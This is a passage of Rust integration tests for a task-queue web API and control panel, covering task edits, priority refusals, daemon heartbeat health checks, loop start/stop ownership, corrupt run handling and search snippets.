14889 assert_eq!(saved.runs, t.runs);
14890 assert_eq!(saved.instruction, t.instruction);
14891 }
14892 for count in [0, 4] {
14893 assert_eq!(
14894 change(count).await.err().unwrap().status,
14895 StatusCode::BAD_REQUEST
14896 );
14897 }
14898 assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
14899 let claim = q.claim(&t.id).unwrap();
14900 assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
14901 drop(claim);
14902 for status in [
14903 TaskStatus::Running,
14904 TaskStatus::Done,
14905 TaskStatus::Failed,
14906 TaskStatus::Blocked,
14907 TaskStatus::Parked,
14908 ] {
14909 let mut stored = q.get(&t.id).unwrap();
14910 stored.status = status;
14911 q.put(&mut stored).unwrap();
14912 assert_eq!(
14913 change(1).await.err().unwrap().status,
14914 StatusCode::BAD_REQUEST
14915 );
14916 assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
14917 }
14918 }
14919
14920 #[tokio::test]
14921 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
14922 let f = Fixture::start().await;
14923 let queue = f.queue();
14924 let mut task = Task::new(
14925 "in flight".to_owned(),
14926 "x".to_owned(),
14927 PathBuf::from("/repo/magi"),
14928 Source::Human,
14929 );
14930 task.start("20260902-140502-bbbb".to_owned());
14931 queue.put(&mut task).expect("file the task");
14932
14933 let res = f
14934 .post(
14935 &format!("/api/queue/{}/priority", task.id),
14936 Some(r#"{"priority":9}"#),
14937 )
14938 .await;
14939 assert_eq!(res.status, 400, "{}", res.body);
14940 assert!(
14941 res.json()["error"]
14942 .as_str()
14943 .is_some_and(|e| e.contains("running")),
14944 "{}",
14945 res.body
14946 );
14947 assert_eq!(
14948 queue.get(&task.id).expect("reload").priority,
14949 0,
14950 "the refused write must not partially apply"
14951 );
14952 }
14953
14954 #[tokio::test]
14955 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
14956 let f = Fixture::start().await;
14957 let queue = f.queue();
14958 let mut task = Task::new(
14959 "old title".to_owned(),
14960 "old instruction".to_owned(),
14961 PathBuf::from("/repo/magi"),
14962 Source::Agent {
14963 run: "20260101-000000-beef".to_owned(),
14964 node: "implement".to_owned(),
14965 },
14966 );
14967 task.runs.push("20260101-000000-beef".to_owned());
14968 queue.put(&mut task).expect("file the task");
14969 let created_at = task.created_at;
14970
14971 let edited = f
14972 .post(
14973 &format!("/api/queue/{}/edit", task.id),
14974 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
14975 )
14976 .await;
14977 assert_eq!(edited.status, 200, "{}", edited.body);
14978 let body = edited.json();
14979 assert_eq!(body["title"], "new title");
14980 assert_eq!(body["instruction"], "new instruction");
14981 assert_eq!(body["id"], task.id, "editing must not mint a new id");
14982 assert_eq!(body["created_at"], created_at.to_string());
14983 assert_eq!(
14984 body["source"]["kind"], "agent",
14985 "editing a task an agent filed must not turn it human: {body}"
14986 );
14987 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
14988
14989 let reloaded = queue.get(&task.id).expect("reload");
14990 assert_eq!(reloaded.title, "new title");
14991 assert_eq!(reloaded.instruction, "new instruction");
14992 }
14993
14994 #[tokio::test]
14995 async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
14996 let tmp = TempDir::new().expect("tempdir");
14999 let repo = tmp.path().join("repo");
15000 std::fs::create_dir_all(&repo).expect("repo dir");
15001 let judge = MOCK_AGENT_TOML.replace(
15002 "printf ok",
15003 r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
15004 );
15005 std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
15006 let f = Fixture::with_repo(repo.clone()).await;
15007 let queue = f.queue();
15008 let mut owner = Task::new(
15009 "owner".to_owned(),
15010 "review it".to_owned(),
15011 repo.clone(),
15012 Source::Human,
15013 );
15014 owner.review_branch = Some("magi/ab12/A".to_owned());
15015 queue.put(&mut owner).expect("file the owner");
15016 let mut task = Task::new(
15017 "draft".to_owned(),
15018 "old".to_owned(),
15019 repo.clone(),
15020 Source::Human,
15021 );
15022 queue.put(&mut task).expect("file the draft");
15023 let url = format!("/api/queue/{}/edit", task.id);
15024
15025 let refused = f
15026 .post(
15027 &url,
15028 Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
15029 )
15030 .await;
15031 assert_eq!(refused.status, 409, "{}", refused.body);
15032 let msg = refused.json()["error"]
15033 .as_str()
15034 .unwrap_or_default()
15035 .to_owned();
15036 assert!(
15037 msg.contains("magi/ab12/A") && msg.contains("force"),
15038 "{msg}"
15039 );
15040 assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
15041
15042 let forced = f
15043 .post(
15044 &url,
15045 Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
15046 )
15047 .await;
15048 assert_eq!(forced.status, 200, "{}", forced.body);
15049 }
15050
15051 #[tokio::test]
15052 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
15053 let f = Fixture::start().await;
15054 let queue = f.queue();
15055 let mut task = Task::new(
15056 "in flight".to_owned(),
15057 "do not touch".to_owned(),
15058 PathBuf::from("/repo/magi"),
15059 Source::Human,
15060 );
15061 task.start("20260902-140502-bbbb".to_owned());
15062 queue.put(&mut task).expect("file the task");
15063
15064 let res = f
15065 .post(
15066 &format!("/api/queue/{}/edit", task.id),
15067 Some(r#"{"title":"x","instruction":"y"}"#),
15068 )
15069 .await;
15070 assert_eq!(res.status, 400, "{}", res.body);
15071 assert!(
15072 res.json()["error"]
15073 .as_str()
15074 .is_some_and(|e| e.contains("running")),
15075 "{}",
15076 res.body
15077 );
15078 assert_eq!(
15079 queue.get(&task.id).expect("reload").instruction,
15080 "do not touch",
15081 "the refused edit must not change the file"
15082 );
15083 }
15084
15085 #[tokio::test]
15086 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
15087 let f = Fixture::start().await;
15088 let queue = f.queue();
15089 let mut task = Task::new(
15090 "busy".to_owned(),
15091 "Running right now".to_owned(),
15092 PathBuf::from("/repo/magi"),
15093 Source::Human,
15094 );
15095 queue.put(&mut task).expect("file the task");
15096 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
15097
15098 let priority = f
15099 .post(
15100 &format!("/api/queue/{}/priority", task.id),
15101 Some(r#"{"priority":9}"#),
15102 )
15103 .await;
15104 assert_eq!(priority.status, 409, "{}", priority.body);
15105
15106 let edit = f
15107 .post(
15108 &format!("/api/queue/{}/edit", task.id),
15109 Some(r#"{"title":"x","instruction":"y"}"#),
15110 )
15111 .await;
15112 assert_eq!(edit.status, 409, "{}", edit.body);
15113 }
15114
15115 #[tokio::test]
15116 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
15117 let f = Fixture::start().await;
15118 let queue = f.queue();
15119 let mut task = Task::new(
15120 "shipped by hand".to_owned(),
15121 "merged outside the loop".to_owned(),
15122 PathBuf::from("/repo/magi"),
15123 Source::Agent {
15124 run: "20260101-000000-b455".to_owned(),
15125 node: "implement".to_owned(),
15126 },
15127 );
15128 task.runs.push("20260101-000000-b455".to_owned());
15129 task.runs.push("20260101-000000-9af4".to_owned());
15130 queue.put(&mut task).expect("file the task");
15131 let created_at = task.created_at;
15132
15133 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
15134 assert_eq!(done.status, 200, "{}", done.body);
15135 assert_eq!(done.json()["status_str"], "done");
15136
15137 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
15138 assert_eq!(
15139 reloaded.runs,
15140 ["20260101-000000-b455", "20260101-000000-9af4"]
15141 );
15142 assert_eq!(
15143 reloaded.source,
15144 Source::Agent {
15145 run: "20260101-000000-b455".to_owned(),
15146 node: "implement".to_owned(),
15147 }
15148 );
15149 assert_eq!(reloaded.created_at, created_at);
15150 }
15151
15152 #[tokio::test]
15153 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
15154 let f = Fixture::start().await;
15159 let queue = f.queue();
15160 let mut task = Task::new(
15161 "landed while held".to_owned(),
15162 "x".to_owned(),
15163 PathBuf::from("/repo/magi"),
15164 Source::Human,
15165 );
15166 task.hold_manual(Some("waiting on 3ed9".to_owned()));
15167 queue.put(&mut task).expect("file the held task");
15168
15169 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
15170 assert_eq!(done.status, 200, "{}", done.body);
15171 assert_eq!(done.json()["status_str"], "done");
15172 assert!(
15173 done.json()["hold_reason"].is_null(),
15174 "a done task cannot still be waiting on something: {}",
15175 done.body
15176 );
15177 }
15178
15179 #[tokio::test]
15180 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
15181 let f = Fixture::start().await;
15186 let queue = f.queue();
15187 let runs = f.runs();
15188 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
15189 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
15193
15194 let mut task = Task::new(
15195 "landed by hand".to_owned(),
15196 "x".to_owned(),
15197 PathBuf::from("/repo/magi"),
15198 Source::Human,
15199 );
15200 task.runs.push("20260101-000000-doa1".to_owned());
15201 task.runs.push("20260101-000000-doa2".to_owned());
15202 queue.put(&mut task).expect("file the task");
15203
15204 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
15205 assert_eq!(done.status, 200, "{}", done.body);
15206
15207 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
15208 .expect("run still on disk under this fixture's own home");
15209 assert_eq!(
15210 reloaded_run.status,
15211 RunStatus::Superseded,
15212 "closing the task by hand must relabel the earlier blocked attempt exactly \
15213 like the loop's own settle path does"
15214 );
15215 }
15216
15217 #[tokio::test]
15218 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
15219 let f = Fixture::start().await;
15224 let queue = f.queue();
15225 let runs = f.runs();
15226 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
15227 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
15228
15229 let mut task = Task::new(
15230 "closed with nothing actually landed".to_owned(),
15231 "x".to_owned(),
15232 PathBuf::from("/repo/magi"),
15233 Source::Human,
15234 );
15235 task.runs.push("20260101-000000-dob1".to_owned());
15236 task.runs.push("20260101-000000-dob2".to_owned());
15237 queue.put(&mut task).expect("file the task");
15238
15239 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
15240 assert_eq!(done.status, 200, "{}", done.body);
15241
15242 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
15243 .expect("run still on disk under this fixture's own home");
15244 assert_eq!(
15245 reloaded_run.status,
15246 RunStatus::Blocked,
15247 "the last recorded attempt never landed, so the earlier one must not be \
15248 relabelled as superseded by it"
15249 );
15250 }
15251
15252 #[tokio::test]
15253 async fn unknown_ids_are_json_not_found_on_both_stores() {
15254 let f = Fixture::start().await;
15255
15256 let run = f.get("/api/runs/nosuchrun").await;
15257 let task = f.post("/api/queue/nosuchtask/hold", None).await;
15258
15259 assert_eq!(run.status, 404);
15260 assert_eq!(task.status, 404);
15261 assert!(
15262 run.json()["error"]
15263 .as_str()
15264 .is_some_and(|e| e.contains("run")),
15265 "the error names what was not found: {}",
15266 run.body
15267 );
15268 assert!(
15269 task.json()["error"]
15270 .as_str()
15271 .is_some_and(|e| e.contains("task")),
15272 "the error names what was not found: {}",
15273 task.body
15274 );
15275 }
15276
15277 #[tokio::test]
15278 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
15279 let f = Fixture::start().await;
15280
15281 let missing = f.get("/api/health").await.json();
15282 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
15283
15284 write_daemon(
15285 f.home.path(),
15286 Timestamp::now() - jiff::SignedDuration::from_secs(60),
15287 );
15288 let stale = f.get("/api/health").await.json();
15289 assert_eq!(
15290 stale["daemon"]["running"], false,
15291 "a minute without a heartbeat is a dead daemon, not a busy one"
15292 );
15293 assert!(
15294 stale["daemon"]["stale_for_secs"]
15295 .as_i64()
15296 .is_some_and(|s| s >= 55),
15297 "staleness is reported so the UI can say how long: {stale}"
15298 );
15299
15300 write_daemon(f.home.path(), Timestamp::now());
15301 let fresh = f.get("/api/health").await.json();
15302 assert_eq!(fresh["daemon"]["running"], true);
15303 assert_eq!(fresh["daemon"]["idle"], false);
15304 assert_eq!(fresh["daemon"]["pid"], 4242);
15305 assert_eq!(fresh["daemon"]["completed"], 7);
15306 assert_eq!(
15307 fresh["daemon"]["current"][0]["task"],
15308 "20260902-140501-aaaa"
15309 );
15310 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
15311 }
15312
15313 #[tokio::test]
15314 async fn the_loop_is_not_running_until_something_starts_it() {
15315 let f = Fixture::start().await;
15316
15317 let view = f.get("/api/loop").await.json();
15318 assert_eq!(view["running"], false);
15319 assert_eq!(
15320 view["owned"], false,
15321 "nobody owns a loop that does not exist: {view}"
15322 );
15323 assert_eq!(view["stopping"], false);
15324 assert_eq!(view["last_error"], Value::Null);
15325 assert_eq!(view["daemon"]["running"], false);
15326 assert_eq!(
15327 view["repo"], "/repo/magi",
15328 "the repository a start would use, named before it is started"
15329 );
15330 }
15331
15332 #[tokio::test]
15333 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
15334 let f = Fixture::start().await;
15335
15336 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
15337 assert_eq!(res.status, 200, "{}", res.body);
15338 let view = res.json();
15339 assert_eq!(view["running"], true);
15340 assert_eq!(
15341 view["owned"], true,
15342 "the loop the UI started is the UI's own to stop: {view}"
15343 );
15344 assert_eq!(
15345 view["merge"],
15346 Value::Null,
15347 "no override was given, so each repository's own config decides"
15348 );
15349
15350 let health = f.get("/api/health").await.json();
15354 assert_eq!(health["loop"]["running"], true, "{health}");
15355 assert_eq!(health["loop"]["owned"], true, "{health}");
15356
15357 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
15358 }
15359
15360 #[tokio::test]
15361 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
15362 let f = Fixture::start().await;
15363 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
15364 assert_eq!(first.status, 200, "{}", first.body);
15365
15366 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
15367 assert_eq!(
15368 again.status, 409,
15369 "two loops on one queue race for the same claims: {}",
15370 again.body
15371 );
15372 assert!(
15373 again.json()["error"]
15374 .as_str()
15375 .is_some_and(|e| e.contains("already running the loop")),
15376 "the refusal has to say why: {}",
15377 again.body
15378 );
15379 assert_eq!(
15380 f.get("/api/loop").await.json()["running"],
15381 true,
15382 "and the loop that was already running is untouched by it"
15383 );
15384
15385 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
15386 }
15387
15388 #[tokio::test]
15389 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
15390 let f = Fixture::start().await;
15391 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
15392
15393 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
15394 assert_eq!(
15395 res.status, 200,
15396 "the answer must not wait for the loop: a run in flight is tens of \
15397 minutes and the operator is holding a phone: {}",
15398 res.body
15399 );
15400
15401 let view = settled(&f, |v| v["running"] == false).await;
15402 assert_eq!(view["owned"], false);
15403 assert_eq!(
15404 view["stopping"], false,
15405 "a loop that has stopped is not still stopping: {view}"
15406 );
15407 assert_eq!(
15408 view["last_error"],
15409 Value::Null,
15410 "a loop that was asked to stop did not fail: {view}"
15411 );
15412
15413 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
15416 assert_eq!(twice.status, 200, "{}", twice.body);
15417 }
15418
15419 #[tokio::test]
15420 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
15421 let f = Fixture::start().await;
15422 write_daemon(f.home.path(), Timestamp::now());
15425
15426 let view = f.get("/api/loop").await.json();
15427 assert_eq!(view["running"], false, "not in this process: {view}");
15428 assert_eq!(view["owned"], false, "and not this process's to control");
15429 assert_eq!(
15430 view["daemon"]["running"], true,
15431 "but a loop is alive somewhere, which is what the UI must say"
15432 );
15433 assert_eq!(view["daemon"]["pid"], 4242);
15434
15435 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
15436 let res = f.post("/api/loop", Some(body)).await;
15437 assert_eq!(
15438 res.status, 409,
15439 "neither button may pretend to work on someone else's loop: {}",
15440 res.body
15441 );
15442 assert!(
15443 res.json()["error"]
15444 .as_str()
15445 .is_some_and(|e| e.contains("4242")),
15446 "the refusal has to name the process the operator must go to: {}",
15447 res.body
15448 );
15449 }
15450 assert_eq!(
15451 f.get("/api/loop").await.json()["running"],
15452 false,
15453 "and the refusal started nothing"
15454 );
15455 }
15456
15457 #[tokio::test]
15458 async fn a_stale_status_file_is_not_a_foreign_owner() {
15459 let f = Fixture::start().await;
15460 write_daemon(
15461 f.home.path(),
15462 Timestamp::now() - jiff::SignedDuration::from_secs(60),
15463 );
15464
15465 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
15466 assert_eq!(
15467 res.status, 200,
15468 "a daemon killed a minute ago must not lock the loop out of its \
15469 own home for good: {}",
15470 res.body
15471 );
15472 assert_eq!(res.json()["running"], true);
15473
15474 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
15475 }
15476
15477 #[tokio::test]
15478 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
15479 let f = Fixture::start().await;
15480 let before = f.get("/api/health").await.json()["loop_rev"]
15481 .as_u64()
15482 .expect("a loop revision");
15483
15484 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
15485
15486 let after = f.get("/api/health").await.json()["loop_rev"]
15487 .as_u64()
15488 .expect("a loop revision");
15489 assert!(
15490 after > before,
15491 "the loop is in-process state, so this counter is the only thing \
15492 that tells a second device the first one started it: {before} -> \
15493 {after}"
15494 );
15495
15496 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
15497 }
15498
15499 #[tokio::test]
15500 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
15501 let f = Fixture::with_loop(launch_broken).await;
15502
15503 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
15504 assert_eq!(
15505 res.status, 200,
15506 "starting it is not the failure: {}",
15507 res.body
15508 );
15509
15510 let view = settled(&f, |v| v["last_error"].is_string()).await;
15511 assert_eq!(
15512 view["running"], false,
15513 "a loop that died must not read as running, or the operator has \
15514 nothing to press: {view}"
15515 );
15516 assert_eq!(view["owned"], false);
15517 assert!(
15518 view["last_error"]
15519 .as_str()
15520 .is_some_and(|e| e.contains("read-only file system")),
15521 "the phone is where a loop that died at 3am is visible: {view}"
15522 );
15523
15524 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
15527 assert_eq!(again.status, 200, "{}", again.body);
15528 assert!(
15529 again.json()["last_error"]
15530 .as_str()
15531 .is_none_or(|e| !e.contains("read-only file system")),
15532 "a fresh start does not keep showing why the last one died: {}",
15533 again.body
15534 );
15535 }
15536
15537 #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
15549 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
15550 let home = TempDir::new().expect("temp home");
15551 let runs = home.path().join("runs");
15552 std::fs::create_dir_all(&runs).expect("runs dir");
15553 let ui = Ui::new(
15554 Queue::at(home.path().join("queue")),
15555 Questions::at(home.path().join("questions")),
15556 Talks::at(home.path().join("talks")),
15557 runs,
15558 home.path().to_path_buf(),
15559 PathBuf::from("/repo/magi"),
15560 )
15561 .with_worktrees_root(home.path().join("wt"))
15562 .with_launch(launch_knocking_on_the_way_out);
15563 let looping = ui.looping();
15564 let turns = ui.turns();
15565 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
15566 .await
15567 .expect("bind loopback");
15568 let addr = listener.local_addr().expect("local addr");
15569 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
15570 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
15571
15572 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
15573 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
15574
15575 let bound = std::sync::Mutex::new(None);
15590 hand_over(
15591 home.path(),
15592 &looping,
15593 &turns,
15594 &|_: &[String]| Duration::from_secs(5),
15595 served,
15596 |_| {
15597 let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
15598 let attempt = loop {
15599 match std::net::TcpListener::bind(addr) {
15600 Ok(l) => {
15601 drop(l);
15602 break Ok(());
15603 }
15604 Err(e)
15605 if e.kind() == std::io::ErrorKind::AddrInUse
15606 && std::time::Instant::now() < deadline =>
15607 {
15608 std::thread::sleep(std::time::Duration::from_millis(10));
15609 }
15610 Err(e) => break Err(e.to_string()),
15611 }
15612 };
15613 *bound.lock().expect("bound") = Some(attempt);
15614 Ok(1)
15615 },
15616 )
15617 .await
15618 .expect("hand over");
15619
15620 assert_eq!(
15621 *PARK_HEARD.lock().expect("park heard"),
15622 Some(200),
15623 "the deck must answer while the loop is parking"
15624 );
15625 let attempt = bound
15626 .lock()
15627 .expect("bound")
15628 .take()
15629 .expect("the successor was started");
15630 assert!(
15631 attempt.is_ok(),
15632 "and the address must be free by the time it is: {attempt:?}"
15633 );
15634 }
15635
15636 #[tokio::test]
15637 async fn a_newer_daemon_status_file_still_renders() {
15638 let f = Fixture::start().await;
15639 std::fs::write(
15642 f.home.path().join("daemon.json"),
15643 serde_json::json!({
15644 "schema": 2,
15645 "updated_at": Timestamp::now().to_string(),
15646 "idle": true,
15647 "surprise": { "nested": [1, 2, 3] },
15648 })
15649 .to_string(),
15650 )
15651 .expect("write daemon.json");
15652
15653 let health = f.get("/api/health").await;
15654
15655 assert_eq!(health.status, 200);
15656 assert_eq!(health.json()["daemon"]["running"], true);
15657 }
15658
15659 #[tokio::test]
15660 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
15661 let f = Fixture::start().await;
15662 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
15663 let broken = f.runs().join("20260902-140502-bad");
15664 std::fs::create_dir_all(&broken).expect("run dir");
15665 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
15666
15667 let list = f.get("/api/runs").await;
15668 let detail = f.get("/api/runs/20260902-140502-bad").await;
15669
15670 assert_eq!(list.status, 200);
15671 let listed = list.json();
15672 let ids: Vec<&str> = listed
15673 .as_array()
15674 .expect("an array")
15675 .iter()
15676 .map(|r| r["id"].as_str().expect("an id"))
15677 .collect();
15678 assert_eq!(
15679 ids,
15680 vec!["20260902-140501-good"],
15681 "one unreadable run must not cost the operator the whole history"
15682 );
15683 assert_eq!(detail.status, 500);
15684 assert!(
15685 detail.json()["error"]
15686 .as_str()
15687 .is_some_and(|e| e.contains("run.json")),
15688 "the failure names the file to look at: {}",
15689 detail.body
15690 );
15691 let health = f.get("/api/health").await;
15695 assert_eq!(health.json()["runs_unreadable"], 1);
15696 }
15697
15698 #[tokio::test]
15700 async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
15701 let f = Fixture::start().await;
15702 let runs = f.runs();
15703 write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
15704 write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
15705 let path = runs.join("20260902-140502-bbbb").join("run.json");
15708 let mut v: serde_json::Value =
15709 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
15710 v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
15711 std::fs::write(&path, v.to_string()).unwrap();
15712 std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
15713 std::fs::write(
15714 runs.join("20260902-140503-cccc").join("run.json"),
15715 "{ not json",
15716 )
15717 .unwrap();
15718
15719 let res = f.get("/api/search?scope=runs&q=quokka").await;
15720 assert_eq!(res.status, 200, "{}", res.body);
15721 let v = res.json();
15722 assert_eq!(v["total"], 1, "{v}");
15723 assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
15724 assert_eq!(v["hits"][0]["field"], "text");
15725 assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
15726 let parts = v["hits"][0]["snippet"].as_array().unwrap();
15727 assert!(
15728 parts
15729 .iter()
15730 .any(|p| p["hit"] == true && p["text"] == "Quokka"),
15731 "{v}"
15732 );
15733 let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
15734 assert_eq!(
15735 flat, "The Quokka leaks across threads",
15736 "whitespace is collapsed"
15737 );
15738
15739 let both = f
15741 .get("/api/search?scope=runs&q=MOBILE%20quokka")
15742 .await
15743 .json();
15744 assert_eq!(both["total"], 1, "{both}");
15745 let neither = f
15746 .get("/api/search?scope=runs&q=quokka%20zebra")
15747 .await
15748 .json();
15749 assert_eq!(neither["total"], 0, "{neither}");
15750 let stmt = f
15752 .get("/api/search?scope=runs&q=mobile%20first")
15753 .await
15754 .json();
15755 assert_eq!(stmt["total"], 2, "{stmt}");
15756 let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
15757 assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
15758 }
15759
15760 #[test]
15761 fn snippet_ignores_terms_longer_than_the_field() {
15762 let terms = ["ok".to_owned(), "elephant".to_owned()];
15763 let parts = snippet_of("ok", &terms);
15764 assert_eq!(
15765 parts,
15766 vec![SnippetPart {
15767 text: "ok".to_owned(),
15768 hit: true
15769 }]
15770 );
15771 }
15772
15773 #[test]
15774 fn snippet_marks_matches_longer_than_the_window() {
15775 let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
15776 let hit_len = |parts: &[SnippetPart]| -> usize {
15777 parts
15778 .iter()
15779 .filter(|p| p.hit)
15780 .map(|p| p.text.chars().count())
15781 .sum()
15782 };
15783 let total =
15784 |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
15785
15786 let long = "a".repeat(120);
15787 let parts = snippet_of(&long, std::slice::from_ref(&long));
15788 assert!(hit_len(&parts) > 0, "{parts:?}");
15789 assert!(total(&parts) <= cap);
15790
15791 let ja = "あ".repeat(130);
15792 let parts = snippet_of(&ja, std::slice::from_ref(&ja));
15793 assert!(hit_len(&parts) > 0, "{parts:?}");
15794 assert!(total(&parts) <= cap);
15795
15796 let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
15798 let term = format!("ab{}", "c".repeat(100));
15799 let parts = snippet_of(&text, &["ab ".to_owned(), term]);
15800 assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
15801 assert!(total(&parts) <= cap);
15802
15803 let text = format!("{}z", "a".repeat(119));
15805 let parts = snippet_of(&text, &["a".repeat(120)]);
15806 assert_eq!(hit_len(&parts), 0, "{parts:?}");
15807 }
15808
15809 #[tokio::test]
15810 async fn search_caps_hits_and_snippet_length() {
15811 let f = Fixture::start().await;
15812 let runs = f.runs();
15813 for n in 0..(SEARCH_MAX_HITS + 5) {
15814 write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
15815 }
15816 let v = f.get("/api/search?scope=runs&q=web").await.json();
15817 assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
15818 assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
15819 assert_eq!(v["truncated"], true);
15820 assert!(
15822 v["hits"]
15823 .as_array()
15824 .unwrap()
15825 .iter()
15826 .all(|h| h["run"]["status"] == "merged")
15827 );
15828
15829 let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
15830 let parts = snippet_of(&long, &["needle".to_owned()]);
15831 let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
15832 assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
15833 assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
15834 }
15835
15836 #[tokio::test]
15837 async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
15838 let f = Fixture::start().await;
15839 let queue = f.queue();
15840 let mut t = Task::new(
15841 "short title".to_owned(),
15842 "line one\nthe hidden Armadillo detail".to_owned(),
15843 PathBuf::from("/repo/magi"),
15844 Source::Agent {
15845 run: "r1".to_owned(),
15846 node: "chat".to_owned(),
15847 },
15848 );
15849 t.last_error = Some("disk full on /tmp".to_owned());
15850 queue.put(&mut t).expect("file the task");
15851
15852 for (q, want) in [
15853 ("armadillo", 1),
15854 ("disk%20FULL", 1),
15855 ("chat", 1),
15856 ("queued", 1),
15857 ("short%20nothing", 0),
15858 ] {
15859 let v = f
15860 .get(&format!("/api/search?scope=tasks&q={q}"))
15861 .await
15862 .json();
15863 assert_eq!(v["total"], want, "{q}: {v}");
15864 }
15865 for bad in [
15866 "/api/search?scope=tasks&q=",
15867 "/api/search?scope=tasks&q=%20",
15868 "/api/search?scope=chats&q=",
15869 "/api/search?scope=chats&q=%20",
15870 "/api/search?scope=nope&q=a",
15871 "/api/search?q=a",
15872 ] {
15873 assert_eq!(f.get(bad).await.status, 400, "{bad}");
15874 }
15875 }
15876
15877 fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
15879 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
15880 .expect("seat value");
15881 let turns: Vec<serde_json::Value> = turns
15882 .iter()
15883 .map(|(who, body)| {
15884 serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
15885 })
15886 .collect();
15887 let doc = serde_json::json!({
15888 "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
15889 "status": status, "turns": turns,
15890 "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
15891 "seat": seat,
15892 });
15893 let dir = f.home.path().join("talks");
15894 std::fs::create_dir_all(&dir).expect("talks dir");
